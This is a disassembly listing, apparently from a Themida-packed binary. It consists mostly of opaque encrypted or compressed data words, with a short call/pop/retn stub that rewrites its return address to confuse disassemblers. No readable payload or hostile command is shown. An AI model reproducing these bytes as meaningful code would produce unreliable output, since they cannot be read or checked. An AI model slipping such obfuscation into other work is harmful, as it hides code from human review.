		dd 40F95009h, 50AA0150h, 6E60464Ch, 68FBCE03h, 4B961520h
		dd 0E7EDB25Fh, 0C1C7B42h, 8B060000h, 0EE9E3784h, 4F3BD421h
		dd 0B5DA73C0h, 19740D5Ah, 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh
		dd 5EAB642Ch, 0F946C9C5h, 0BFC8D01Fh, 0BC4DF76Bh, 1C7209DFh
		dd 99F5BEF3h, 8CFEB776h, 96BA60C5h, 9601CAB3h, 38551E03h
		dd 0B5D9A2D7h, 7B8F255Ah, 76FA7166h, 10E806Bh, 8704BDB4h
		dd 48A5388h, 9803D60Bh,	8F389805h, 698022BCh, 0DFDD2661h
		dd 0B74A5547h, 168B5h, 5B140700h, 0D2A5DA35h, 5F7C0B13h
		dd 0F4FF47DFh, 0D13E5061h, 94F3FB12h, 0C047DF5Fh, 0DF5FCFB8h
		dd 9A1AC47h, 1DF29DFEh,	0B2DCA58Ah, 0AAB3105Dh,	1C45CAC5h
		dd 0EDB9963Dh, 9D5CC70Fh, 0F242F995h, 4C818C49h, 0F1F85734h
		dd 0E42B634Dh, 66A9E6AFh, 5A879B31h, 9D1E5D85h,	0F4407DB6h
		dd 23646C6Dh, 604DF174h, 232BEA55h, 4DF17364h, 2D790C17h
		dd 0F6E5DDB4h, 463224AEh, 43000000h, 0B0B8038Ah, 4DF17BD7h
		dd 0F92E99A4h, 4AB55A30h, 0A5AE89B7h, 0CDF901C0h, 3849F17Eh
		dd 4F576E2Dh, 4DF18138h, 0CC010E82h, 0F55661F9h, 6E417699h
		dd 0ADDEF6DBh, 464DF180h, 0F0D0B72Ah, 2524AEDFh, 80h, 0FD1C7277h
		dd 784B808Fh, 7E0FD80Dh, 0FB935C91h, 1D45514h, 9DF2F5F6h
		dd 814A2FC2h, 0CDB5020Dh, 47DFC7C8h, 1A67A8E6h,	0ECDB4BDh
		dd 0F2711306h, 26E5F049h, 0A2EF206Dh, 0C8B8409h, 0EBAC9CF7h
		dd 9F0FD67Bh, 8900000Ah, 21BA0708h, 0BE57A46Bh,	5DF643CCh
		dd 0F790DD32h, 3C2C7996h, 0F7187579h, 957A11AAh, 2EE1AF48h
		dd 0C94648E1h, 4B53A27Ch, 4DF76D3Ch, 728C623Fh,	0EA7F41Bh
		dd 8C428F80h, 979F1C72h, 47DF5FF0h, 5E1D8893h, 53D5A3DDh
		dd 342A4ACCh, 816C2CCh,	0BDD2339Eh, 11DABF52h, 0AE45927Dh
		dd 4EEh, 0C0A5AE18h, 6981F901h,	0BC7549F1h, 35083DD2h
		dd 1A4F5AA2h, 8B0672F3h, 0F1C4C3F0h, 0CA5D2A32h, 131E4DF1h
		dd 0CA6B2080h, 6C884DF1h, 95A61E75h, 217324AEh,	0C5000002h
		dd 0DF5F6123h, 5934ED47h, 0D73855B6h, 7F666F44h, 7B92A9C0h
		dd 0DF601473h, 0AC5C6747h, 47DF5FDBh, 0AA0A9DA8h, 49F75956h
		dd 0E69F5E69h, 91A867A8h, 0F762FE89h, 117C7D4Dh, 8BF6C9FEh
		dd 17AA652Ah, 20D811Ah,	17028A43h, 0FB309B74h, 23B09528h
		dd 646C2B1Ah, 50097972h, 92CB4A55h, 80EDB24Ch, 9A014DBh
		dd 78A0000h, 6A22BB08h,	0CBBF58A5h, 315EF744h, 95F891DEh
		dd 783D2D7Ah, 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h
		dd 3B4C54A3h, 484DF76Eh, 1C72956Bh, 147B34F3h, 60F3C6FBh
		dd 3DDCB27Bh, 1E53BE51h, 0AEDF983Fh, 5F82CE61h,	0F8470A84h
		dd 14ECFE2Fh, 1B105DC8h, 22BC45BBh, 15B70h, 1C72C200h
		dd 99F5BEF3h, 0E9266922h, 5631E1B4h, 2547DF5Fh,	562AF1Ah
		dd 4E5615FCh, 49F18D40h, 2079F20h, 0F83DBCEFh, 81541D65h
		dd 0F428755Eh, 0C489F0CEh, 12C3A29Bh, 315A72A7h, 894DF1CAh
		dd 0D6B1B902h, 0A54DF1C9h, 69FA2F9Ah, 0DC8F4367h, 1777D83Ah
		dd 192DC3F8h, 0CFEB13C8h, 0CCC07912h, 0A83B0E43h, 0AE035B3Bh
		dd 30A22324h, 6C9DC644h, 39A46B21h, 43A4A6h, 0AEF60000h
		dd 4DC2CAA5h, 6E148824h, 91FC6AB8h, 9CA4BBD2h, 47DF70EBh
		dd 9AFA8D98h, 49F1902Ch, 31B505Bh, 4DF18F88h, 0FB924F6Bh
		dd 24AECE9Bh, 9750h, 424A6100h,	4DF19B45h, 0C3CA2B36h
		dd 0B144174Ch, 0F31C7283h, 7798F5BEh, 818EFFB8h, 61E209EEh
		dd 0A74D0FA9h, 0E3AC0D65h, 688992Ch, 830BD409h,	8F483F8Ch
		dd 1C7C0F00h, 47DFB469h, 79C64945h, 6F2E131Ch, 0F261B267h
		dd 0C7869149h, 43907F0Eh, 0AD2CE3AAh, 0EBACAC82h, 3704CB70h
		dd 21000008h, 0B9529F70h, 56EF3CD3h, 0F58EDB34h, 8F28759Ah
		dd 0D4C411FEh, 8F800DE1h, 2DE2A942h, 0C64947E0h, 61AEE079h
		dd 0E3EB3A14h, 4DF76FA4h, 7224FAD7h, 0EA7F41Bh,	8C428F80h
		dd 0BEF31C72h, 297699F5h, 2A192h, 9CA4BB00h, 47DF5FEBh
		dd 0CCFA8D98h, 1C0A5AEh, 6CCD4248h, 0E8BBF01Fh,	16CFE655h
		dd 0CFD79679h, 47DF5FB8h, 0CD2DC0CBh, 49F7595Dh, 10285D68h
		dd 4DF7627Bh, 0E855C78h, 24A4FDB6h, 24C63h, 6123B500h
		dd 0ED47DF5Fh, 83B85734h, 0B7823FF2h, 93FE00B6h, 3D222B00h
		dd 91300150h, 12A5A2C6h, 434B72A7h, 47DFAB44h, 60C12C37h
		dd 0B675E02Fh, 0B2AA4435h, 8AB31F01h, 7CC9452Dh, 36A53837h
		dd 0F837042Eh, 0E9A8B349h, 9C7319D2h, 0F0019467h, 8B24719Eh
		dd 364D0C03h, 3792BFB5h, 0C2726642h, 4DF76BC5h,	3318ABB6h
		dd 0F9B89DA6h, 981E5F1h, 5228A950h, 94C5A4C9h, 9145CEFh
		dd 0B262A78Ah, 3F06ABEDh, 72Ah,	45927D14h, 0E22FE0ACh
		dd 81CE4149h, 1B68A7E8h, 0B7040B82h, 8D00EEC7h,	0EF9C3582h
		dd 563AD320h, 0BBD36CB9h, 0DE2D0754h, 0F770B1D6h, 1FF5D24Dh
		dd 0BEF31C72h, 417699F5h, 0E803DE62h, 271C69A6h, 22BCFEAFh
		dd 0E435560Fh, 0C5FA65AAh, 725D5FF2h, 0AF000001h, 8DFD1C72h
		dd 19E21782h, 564D9A75h, 5F50373Fh, 34A247DFh, 85E4C293h
		dd 9A2D38D0h, 16D5BCC5h, 0F1B8800Eh, 1D5FE049h,	175CD991h
		dd 727DC558h, 1D66253Dh, 4E8D4DF2h, 101450CDh, 0F21A7F08h
		dd 0C8F1FC4Dh, 12A5150Fh, 0F1721BC6h, 11C7AC2Fh, 40474F0Ah
		dd 434DF210h, 216CCD38h, 53E6B9EEh, 0AE52EEE6h,	313B24h
		dd 0AE8D0000h, 4801C0A5h, 0C534C748h, 0F17F09BDh, 36A36C49h
		dd 2282C063h, 7A92C732h, 4DF22911h, 741BC6E2h, 24AE371Ch
		dd 0BEC9h, 6B21DA00h, 72E311A4h, 0F5BEF31Ch, 1B427798h
		dd 0F792FF9Ah, 2A8B4829h, 0A1BAE61h, 8D568B84h,	0D9C10E01h
		dd 47E0BFDCh, 36838C02h, 9FEBD0D9h, 0FD683B70h,	1405853Eh
		dd 8E619679h, 881BEE23h, 0E3EB0219h, 47DFF3A4h,	0D939CCD7h
		dd 49F29640h, 3E55141Fh, 75080785h, 66282964h, 0D7DD9059h
		dd 0F51A76D7h, 0E9A43D8Ah, 2794A726h, 19BEEBACh, 5CD52h
		dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h,	0A76825BEh
		dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h
		dd 720E7981h, 906D4DF7h, 0F41B72BAh, 8F800EA7h,	0A47517D0h
		dd 89BE29E6h, 0FF17F7F8h, 0AA15C29Fh, 72641A17h, 0F5BEF31Ch
		dd 36B77699h, 0F4FBCDFBh, 0AEBA02AFh, 0D1D1E33Ch, 3FD6D366h
		dd 16h,	0F31C72A9h, 7699F5BEh, 4A97AB41h, 0D320EF9Fh, 123Ch
		dd 1C72A600h, 0E8A6BEF3h, 8547DF5Fh, 117D6879h,	72FBB1FEh
		dd 341A351Ch, 0EB5CC9DCh, 0A2AAC180h, 47DF62E5h, 0F1ACD96h
		dd 0A8C10CDCh, 38C5AA3Dh, 7B83422Fh, 49F7C0ABh,	0F910CFDAh
		dd 0F7C396F1h, 47DAE54Dh, 8208C1D8h, 5C85588Dh,	0F32CD7CAh
		dd 1D2EC167h, 0B8519E71h, 0F97A39D6h, 0A0E50D11h, 9C811453h
		dd 601F060Fh, 13FC9049h, 0E1AA0BDEh, 9326F92Eh,	10525E33h
		dd 83424D50h, 0FE4BC4CAh, 0B1E62965h, 77361B24h, 28E7A760h
		dd 2D8D20F3h, 49F27745h, 5FE66570h, 73EBAABEh, 4B007CEh
		dd 0F79A0000h, 5A32CB18h, 0BBCF68B5h, 216E0754h, 8508A1EEh
		dd 684D3D8Ah, 0BB080786h, 59A66922h, 0F23FD0C0h, 8DDA3559h
		dd 2B5C64B3h, 584DF773h, 1C72A57Bh, 0BB8EB35h, 65C6C7EEh
		dd 0DEB1E629h, 18D2673h, 3B4DBB50h, 0A5103DA4h,	0C0C7CFE6h
		dd 0C347E043h, 774025B8h, 0E4C3F817h, 28668160h, 2DA59AE7h
		dd 0FA22BC1Ah, 5Ah, 0C0A5AE4Ch,	5F31EA01h, 43BD1DB0h, 6E49F1AEh
		dd 0A5EBA463h, 0B2AAB6Ah, 32DDB348h, 0D33BE109h, 325B4340h
		dd 884DF242h, 45CC4B06h, 70B1442Ah, 0B6DEA9B1h,	929D4DF1h
		dd 49516827h, 4DF1B73Eh, 0C0F51A74h, 0B74A55EDh, 0A06F21BAh
		dd 0A76828E1h, 270C9F72h, 3ED60h, 9314CA00h, 0DE8D3569h
		dd 1B75D66Dh, 59ECBFF4h, 0B9D34648h, 0E34E2156h, 66A9E5AEh
		dd 0CEB3BC19h, 0A087070Fh, 0F3FE49F1h, 9AE5A6BEh, 0F20E4DF1h
		dd 0D93898EFh, 30ED24AEh, 3F000000h, 1C0A5AEh, 0F17ECDF9h
		dd 34581149h, 40D3A6DBh, 0A0B8EDF8h, 4DF180EBh,	9EF5EC08h
		dd 24AEDF26h, 120F3h, 0BC830400h, 153F3AA1h, 14B4E275h
		dd 8088335Bh, 47DF6007h, 6BFE6974h, 0A8E5345Ah,	88F31C71h
		dd 0A0DD5E1Dh, 0CDEB56DAh, 2358B7D3h, 6D52E550h, 0F126E9A4h
		dd 0DCB36628h, 0D3B0D7DFh, 0C8D347DFh, 0F4BDF25Dh, 0FDB6759Ah
		dd 9068693h, 0BAE4759Eh, 0BF8CF512h, 1E472F2Ch,	5C47DF8Eh
		dd 9990DD32h, 0D063ACE0h, 8140CFBFh, 0B74AC5C8h, 13C45D2h
		dd 0DF968EF9h, 77E2ED47h, 8FA6B0B8h, 61149F1h, 10FF8E47h
		dd 1A23807Dh, 59615A35h, 4DF1952Eh, 0A2D7424Dh,	9DA564CFh
		dd 5004387Eh, 0E32C6465h, 0B170DBAEh, 0F7F5929Ah, 7B8647E5h
		dd 0CDC079E8h, 315CF542h, 0C1E85FDEh, 45EAEDBEh, 2CD7Eh
		dd 35DAB700h, 0D23D4FE8h, 719EEC85h, 0B048B24h,	0A76825BEh
		dd 0A34B6A5Ah, 3FD825EAh, 0DD76C34Ch, 760F5CB3h, 0D0AAF718h
		dd 750E7981h, 906D4DF7h, 0FE1B72BAh, 6922838Ch,	657C3BA6h
		dd 0DF602A5Dh, 0BB4E5947h, 7D0EC7BEh, 5F51363Eh, 273247DFh
		dd 586087BCh, 47DF602Fh, 43D6414Ch, 66B35C32h, 599314B0h
		dd 9DC79D51h, 61262EEDh, 2247DFA3h, 0A6AF8417h,	0CEF800BFh
		dd 3949F1C2h, 19D2F92Eh, 3C639877h, 0F1C45334h,	0BA25304Dh
		dd 0C4C4C727h, 99F64DF1h, 13784176h, 0C4E7A0A8h, 89944DF1h
		dd 3F53E91Eh, 0F9153DA2h, 9B21A1E8h, 9AF624AEh,	48000000h
		dd 0BEF31C72h, 0F788097h, 6C47DF60h, 0D0BDCE61h, 73F20A3Fh
		dd 0B747DF5Ah, 52EB38D7h, 119ED33Ch, 525A1908h,	49F15D04h
		dd 3E9BE8F3h, 89915035h, 50040835h, 0AFC68590h,	0BF79098h
		dd 798447E6h, 57B8D5E6h, 0FD1C710Ah, 76497E91h,	0F5B18C0Bh
		dd 1CC1EDBEh, 1C155h, 29E6AB00h, 0C64943DCh, 65AAE079h
		dd 0FF107F18h, 9B7419B2h, 97575E4Eh, 33CC19F6h,	0D16AB758h
		dd 6A0350BFh, 0C49EEB24h, 761A6D75h, 8C694DF7h,	0F41B72B6h
		dd 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0F31C7249h, 0B899F5BEh
		dd 2024ABD2h, 6A2994E2h, 0E83C4B53h, 3E3F47DFh,	2952BD52h
		dd 0DCA35553h, 4845D84Ah, 0FB30DFAFh, 608453D4h, 49F11772h
		dd 0DFF64641h, 0BF2A3547h, 674E572Ch, 0A02A0A8h, 0E2ED49F2h
		dd 0C81905ADh, 858A06BFh, 62ADE1F2h, 0C2AFB815h, 0D5068203h
		dd 1A379AF0h, 72101887h, 3D500449h, 5A34FD32h, 533DF6B5h
		dd 53B487BCh, 0D0A3D837h, 0AEC2583Dh, 6EBF433h,	11193047h
		dd 47E02C76h, 767FA05h,	49F2387Bh, 0C7803F4Ah, 44174CC3h
		dd 731BB4B1h, 0F29E679Ch, 5440E81Dh, 8F2C628Dh,	255AB5D6h
		dd 3DE5A252h, 8B964DF2h, 6D76D320h, 0E1C1C988h,	0CC500450h
		dd 0CBC38CC1h, 0C1CC8544h, 0B346194Eh, 898605CEh, 0C038B54h
		dd 6D74F8D7h, 954C3878h, 0E9A88D96h, 0F234C1E1h, 666E8549h
		dd 4DF23E21h, 71419962h, 0B0C304B5h, 5F6AB245h,	0C5ACB512h
		dd 1FD8EF06h, 9C6FA46Bh, 0F1C89BECh, 0CEB9C14Dh, 0AD4DF1C8h
		dd 0A3AB0AA2h, 4DF1C8E4h, 8E218C97h, 9C1672Eh, 0C414C50h
		dd 0BFCE4B43h, 0DD481B50h, 7897F790h, 0A7ED2B43h, 263A2390h
		dd 0B15E30BBh, 4CC3CB64h, 0D8414E17h, 0BAEF5AB5h, 0D2BB2612h
		dd 759E7119h, 8A1478E2h, 86972A95h, 927D1108h, 9BBCCBD3h
		dd 0B4BF6421h, 0EE05FC49h, 219BA1E6h, 44D7E264h, 0D1BE5B33h
		dd 0CB36093Eh, 8CF96h, 14390000h, 4ADD325Bh, 1F72FBE9h
		dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
		dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h,	3784h
		dd 68243489h, 6DFh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 2C895C24h, 97BD5524h, 814B7969h, 9E9AF1C5h, 5D5A55BAh
		dd 453D68h, 24248900h, 4240483h, 6D75685Dh, 14890000h
		dd 8458F24h, 57242C8Bh,	0C781E789h, 4, 8704C783h, 0FF5C243Ch
		dd 835A2434h, 0E6E904C4h, 5EFFFA67h, 0ADB8AC20h, 3061818h
		dd 0D8E0FFC5h, 0FF1BF4D9h, 0E83F203Eh, 0C234E43Eh, 6F0EDF33h
		dd 3B0C2250h, 720AA11Dh, 0CF49D878h, 541D9580h,	6B2D2A12h
		dd 5749D2DEh, 8D7E12CDh, 181A0A8Dh, 0D488BB06h,	8D897E63h
		dd 6122DCDh, 0C7D78B66h, 1231BD85h, 67FC06h, 85C7F900h
		dd 6120011h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5DD45F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD45F	proc near		; CODE XREF: Themida_:005DD457p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5DD45F	endp

; ---------------------------------------------------------------------------
		db 27h
		dd 6C59C8B8h, 0E7031C64h, 41B5FFD4h, 6A061208h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 31BBC355h, 2FB99D89h, 95FF0612h, 6122781h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 53C35141h, 0A66C33A5h
		dd 0FE95Eh, 15170000h, 28B2AD87h, 1E06CE35h, 15C5912Dh
		dd 0FF006AADh, 1229D195h, 0EBC08B06h, 215A2A1Ah, 0D15E9D00h
		dd 57B10B9h, 6D8F10EDh,	0B0C9DB11h, 59B3CA29h, 0E97617B5h
		dd 31h,	193DAF80h, 2530000h, 0Ah dup(0)
		dd 0C41E900h, 28680000h, 0E906181Ch, 0FFFB2D32h, 181D0F68h
		dd 2D28E906h, 0C368FFFBh, 0E906181Eh, 0FFFB2D1Eh, 181F8068h
		dd 2D14E906h, 6A68FFFBh, 0E9061820h, 0FFFB2D0Ah, 18220B68h
		dd 2D00E906h, 0C268FFFBh, 0E9061822h, 0FFFB2CF6h, 18240C68h
		dd 2CECE906h, 0B68FFFBh, 0E9061825h, 0FFFB2CE2h, 387EDA57h
		dd 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h, 7F00BEE4h
		dd 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h, 0F8287A89h
		dd 0FE2F8021h, 1D419715h, 0BFA9B837h, 0AFBA01ABh, 0B486196Bh
		dd 53D1DF52h, 1891AFF5h, 0FE478CD0h, 198327E0h,	915FA3C7h
		dd 7421F2D1h, 53B50B8Eh, 0AE04882Eh, 925DC95Ch,	6EDE0EAFh
		dd 0F36F1BDCh, 325AF759h, 0A76172B6h, 0FF69DE0Eh, 67369Dh
		dd 7F9D0000h, 5BBD1B99h, 6A8E3475h, 0F2139026h,	65F86221h
		dd 0F20145C1h, 0F8DE0DECh, 97602C8Eh, 0ADE0DECh, 1F75F587h
		dd 0D568BA8Ch, 0ECE6ED31h, 7AE4DE0Dh, 446CECh, 0DE0DECF3h
		dd 0A83B8DF7h, 0EA8C73FDh, 87CB47C3h, 0DE0DEC7Ch, 0EC885B9Fh
		dd 0E852DE0Dh, 0BDD739A3h, 5886EFAh, 0AD294DAFh, 895AF81Ch
		dd 0CFh, 419715F0h, 8D1FA0AEh, 4D1FB20Ah, 0DC5A68FBh, 0C5F694C3h
		dd 8AE2EB41h, 3ACD1F77h, 1258AE2Ch, 166CF0D6h, 1DB00688h
		dd 1F1DE94Bh, 9427E02Fh, 3E7AC016h, 332D7DDDh, 0BD1F6A0Ah
		dd 0E477D14Fh, 55794B5Eh, 0F2ECF311h, 89CF3921h, 587C3E6Bh
		dd 0F84B98DCh, 0C246DE0Eh, 0C207D96Ch, 0AEF2F658h, 0D81A5528h
		dd 1167E5CBh, 0FC208AAFh, 0AE419716h, 90767ADCh, 0CD73B90Fh
		dd 699BF44Ch, 0EFF5AD8Ch, 9C8FFECh, 70ED0000h, 0A82CD218h
		dd 0E6660C52h, 25A44A90h, 62E389CFh, 2082C006h,	79BF199Ah
		dd 0B2F850D3h, 0EE348A0Ch, 266CCA48h, 0D41F63EFh, 1621F82Eh
		dd 941594C5h, 60AE1E85h, 7594FCCh, 3B9D1BC1h, 7458B9F5h
		dd 58252A19h, 9DEDCE30h, 4E92B60Ch, 21F213C8h, 218D208Ah
		dd 0DE0DECD6h, 4FD0B632h, 329466F9h, 27A35718h,	665AF81Dh
		dd 0E1B59F05h, 8A0E4FDDh, 1980E234h, 0CCh, 41971580h, 8D1FA0AEh
		dd 4165B70Dh, 6A4DB4E0h, 107286E7h, 0CF6B319Dh,	2C1227E0h
		dd 86F456ACh, 0C268AE08h, 0C94FE244h, 3AB6DAE0h, 0E0C6EDF6h
		dd 2183ED27h, 0CD3BD91Dh, 970121F2h, 44763351h,	5DBB3A20h
		dd 0E53BBCCAh, 0CC2E8052h, 728384C8h, 56FD81Ah,	1E7AFBE1h
		dd 38B69CD8h, 8D0E7CDEh, 0AE3EDA33h, 0B1B4F5ADh, 8E1C4h
		dd 2F890600h, 69BF43E9h, 0A7FD7D23h, 0DC3CBB61h, 196FF096h
		dd 0B10D95D3h, 0EC92D830h, 27CD1369h, 5F054BA5h, 0A4187E1h
		dd 2FA93A7Eh, 0E03121F8h, 6A9415AFh, 0E032DD26h, 47AB5927h
		dd 0EB252275h, 0C6EA3CA6h, 0BBFD064Ah, 93FD27E0h, 0BBD82B6Fh
		dd 0B82227E0h, 0C8A3056h, 20A086AAh, 213A60C2h,	0AE419715h
		dd 7EC422A0h, 4F734960h, 0F216590Bh, 0A639A321h, 3BB4A102h
		dd 6C788BCFh, 1882DE0Dh, 4BAAFE0Fh, 9BFD7BE9h, 0D731AF55h
		dd 0E72ED844h, 7C06594Bh, 0C9492FBBh, 0A406D86Bh, 185EB836h
		dd 1A74F6DCh, 2ECC4AB8h, 6F0254AAh, 47E1F503h, 0D92FAE55h
		dd 5EB43846h, 3EBD4FD0h, 530194E6h, 0EF4CEED1h,	9614EACDh
		dd 0B7361C40h, 9AFCCE61h, 0D2523874h, 158043BDh, 0BC0EE201h
		dd 87F55729h, 0B01CAF09h, 0AAB848DAh, 0E97CD457h, 45C359DBh
		dd 2C7E50E3h, 46292B99h, 4ECAB6A4h, 47B7F90Ah, 28E00155h
		dd 0BF2F06DCh, 1C3698EAh, 0EB6ECF5Bh, 5ABC3AB6h, 1FECF5C7h
		dd 0D644A692h, 12B8FE58h, 920E3294h, 4733854Eh,	79DB4555h
		dd 93298006h, 26DD2B6Fh, 0B51F5355h, 2D11591h, 0C84B74DEh
		dd 0B8D6FC5Eh, 63A7CBF1h, 4D66D07Dh, 9E42D53Fh,	7DDF35B8h
		dd 62EF27B1h, 4E31C341h, 1E74F4DAh, 0EF2DB6FAh,	43AD4162h
		dd 1941BDE1h, 9A80EE63h, 5527BA1Ch, 5DF048C7h, 65C2298Bh
		dd 29000004h, 0E0322CB7h, 22F80727h, 6C5327E0h,	87D81FC1h
		dd 0D81FDE78h, 0A6CAF0B9h, 0DF92C62h, 6FB32FDEh, 0DE0DF664h
		dd 759AFC66h, 555CB20Bh, 0EFF2FF9Ah, 72D02h, 73D55200h
		dd 0AD03872Dh, 0E341C167h, 2078F79Dh, 5DB334DAh, 0F5C9D917h
		dd 30D61C74h, 6B1157ADh, 0A3498FE9h, 467DC325h,	2C6D76BAh
		dd 1C6D21F8h, 419715EBh, 3B8128AEh, 2836D317h, 0B81921F8h
		dd 7153CC8Bh, 3F64C6FEh, 4ACBB1D5h, 2A668CEEh, 0A6CC244h
		dd 75344834h, 33AF2B4Fh, 7ECE4EFh, 1A7CE6DEh, 15F9404Eh
		dd 5D9802D8h, 54C6F541h, 95F3B67Bh, 476BBD13h, 86897503h
		dd 0E90D7765h, 8DD7688h, 43A5BD90h, 5D5F4AD0h, 29A2F539h
		dd 0F301F90h, 0C05A6304h, 47C75588h, 3A8C5EF1h,	8D569A16h
		dd 4D1FAFD9h, 977D81E3h, 0D379BF19h, 4A9AF355h,	103E387Ah
		dd 670200Dh, 18950000h,	50D47AC0h, 8E0EB4FAh, 0CD4CF238h
		dd 0A8B3177h, 782A68AEh, 2167C142h, 5AA0F87Bh, 96DC32B4h
		dd 0CE1472F0h, 3CC70B97h, 0BE21F82Dh, 997F3C6Dh, 785EC018h
		dd 0EB678B31h, 0D1FE8D8Ah, 614DFBF8h, 27E09192h, 888CEE58h
		dd 0F2B51E44h, 0DF72DC21h, 62F553D1h, 0E87BD154h, 6AFD5BDAh
		dd 0EF82D85Ch, 4A2D2F1Dh, 34FB85B0h, 0DF39BAA0h, 0B012977Dh
		dd 681A488Ch, 76E0D81Ch, 6BA32C30h, 0C440D43Ch,	3C6B7380h
		dd 0AB0D77D4h, 3C6B14DFh, 2E9415D4h, 0B94A8E0Ah, 41D43C6Bh
		dd 3D5BCED7h, 0DF3C522Fh, 9835797Dh, 5AD224B7h,	0B52532B4h
		dd 549B0B5Ch, 0E9BB4EA0h, 0EA7DDB5Bh, 0C733C618h, 0CA24753Fh
		dd 0E678FCE2h, 0A87A0D63h, 0CDF1C356h, 24757A89h, 0B41680CAh
		dd 0DB8AE0E8h, 0B5139135h, 0B3D69E5Ch, 0E0CDD0EBh, 586h
		dd 84CA2EABh, 0BE045ADEh, 0F43A9818h, 3379CF4Eh, 6EB40C8Dh
		dd 0CB4C7230h, 6892F75h, 40C268AEh, 7CFAA0E6h, 119DD41Ah
		dd 0F81206CDh, 4273C421h, 92B60C9Dh, 3B63631h, 0C0922583h
		dd 3ED91DB7h, 0B41668BEh, 6C516CB0h, 0CCB221F8h, 0BC60F349h
		dd 8186B78h, 0B3056FDEh, 2FC22C51h, 0FF45A321h,	62F5C7E1h
		dd 3A80D654h, 0A2091694h, 0AE32BCB8h, 6876095Bh, 82688CEAh
		dd 0D144A600h, 8202E8F4h, 5DBF9124h, 7E7C43h, 880460A6h
		dd 665AFD09h, 180h, 0B60C9DCDh,	27804E92h, 64221F2h, 0DD931C2h
		dd 397DB9DEh, 0DE0DD9AAh, 2274C630h, 0B53E82FEh, 35DE0DD9h
		dd 8AF669CBh, 0DE0DD97Fh, 0F6624567h, 45EC1395h, 668C62Fh
		dd 0F338920h, 1F613DCBh, 79FAE0D8h, 58BA8C1Fh, 0DD83C933h
		dd 6876095Fh, 28468CEAh, 0D3173B81h, 0D2292C05h, 5ECA5DC7h
		dd 0CA293091h, 6E1ADD6Fh, 671CF4F2h, 2DD0h, 0C9D3700h
		dd 3253A0E4h, 2D9727E0h, 36C91F9Fh, 0AAEE1264h,	21F21314h
		dd 7DE97CE6h, 0DE0DED72h, 8F3BFC8Eh, 5AF81C13h,	0B0EFh
		dd 97155600h, 1FA0AE41h, 0AA2836C9h, 0E6388E10h, 35C74553h
		dd 0F7C95CB4h, 0A7235FA5h, 0E0329063h, 8EF05A27h, 0E036F8C2h
		dd 5DBB3927h, 6A79BD39h, 70D81FC9h, 0A0F67806h,	0B3D93B0Dh
		dd 0BD291677h, 0ED59606Dh, 0BE04A58Bh, 0A3FF569Ah, 55BFDE0Bh
		dd 6ECA4B31h, 50E2644Ah, 14E679CFh, 943A60C2h, 0A3018113h
		dd 2C4F851h, 7B7EFF9Dh,	3E58Eh,	2B8D0A00h, 65BB3FE5h, 9BF9791Fh
		dd 0D830AF55h, 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h
		dd 5B0147A1h, 0FE357BDDh, 10A52E72h, 0D42521F8h, 16997FA3h
		dd 0F7592BBEh, 6AB00889h, 0AAF046C4h, 5971591h,	196FF084h
		dd 0CF62B486h, 7418ABFDh, 369012F8h
		dd 1EE5D1A3h, 0DC27E032h, 32975CA0h, 0E95327E0h, 49C73597h
		dd 0C6DA9EFh, 87B9EEBh,	0CAAB0D60h, 0E0B228B7h,	61E5CB27h
		dd 12DDA90Bh, 0F1D81FB2h, 0CB2D8B0Bh, 0DAFEC4E5h, 7A87B96h
		dd 9715BBDEh, 0C60AAE41h, 0DE07543Dh, 0AF0153BDh, 0B113961Ch
		dd 67BF498Dh, 0D33DD815h, 0A2A14C7Ah, 0E2CFD2F5h, 32Eh
		dd 2C72D653h, 66AC0286h, 9CE240C0h, 0DB2177F6h,	165CB435h
		dd 73F4CAD8h, 0AE31D71Dh, 0E86A1056h, 24A2488Eh, 0B9457CC2h
		dd 0F8106E75h, 0EA1B6C21h, 0BB19997Fh, 0F759AF2Dh, 1AAD0B89h
		dd 0F2388E0Ch, 33B3D5D4h, 0E35F83D5h, 372379FDh, 27E032ACh
		dd 5E62C42Eh, 0F21DCC1Ah, 11A40E21h, 0DE35AA5h,	78D04FDEh
		dd 157D7E5h, 82E0606Eh,	2D2F1DEFh, 0F789B04Ah, 26088430h
		dd 31E65AF8h, 4D000000h, 92B60C9Dh, 0F213C84Eh,	66E48A21h
		dd 0B49ABE10h, 77ADC32h, 37CA0263h, 0D5B740A8h,	1758A773h
		dd 26B8DE0Dh, 0D639B541h, 0F2155AF8h, 7C000000h, 1D419715h
		dd 32965DA1h, 0EA5427E0h, 8B711588h, 0D6D4F70Ah, 0FCBB398Ah
		dd 0E34517AAh, 99CF475h, 881B7DFBh, 549AFC7Ah, 0E0134A50h
		dd 1D49C727h, 0C85BB537h, 12F90AF6h, 38B827E0h,	307547DAh
		dd 1223B0F4h, 3DA727E0h, 85DB5DEBh, 4F930F33h, 27E01284h
		dd 0C321A046h, 43E90F71h, 4AD063C5h, 42A2215Fh,	0C688CCF0h
		dd 3421F210h, 436684CAh, 0BE195D81h, 7CD81A81h,	8708EE12h
		dd 33AFEB31h, 3942E4EFh, 0EE7CE6D4h, 49B7196Fh,	371770C8h
		dd 0B5F5AEE2h, 1E4C5B2h, 8C090000h, 0BC40E62Ch,	0FA7A2066h
		dd 31B0569Ch, 66E78DD3h, 1C86C40Ah, 7DC31D9Eh, 0B6FC54D7h
		dd 0F2388E10h, 3278CE4Ch, 0D82B6FFBh, 2221F816h, 997FA0D1h
		dd 5628BB19h, 0AB0586F4h, 1120A187h, 2164820Ah,	0C75AACA2h
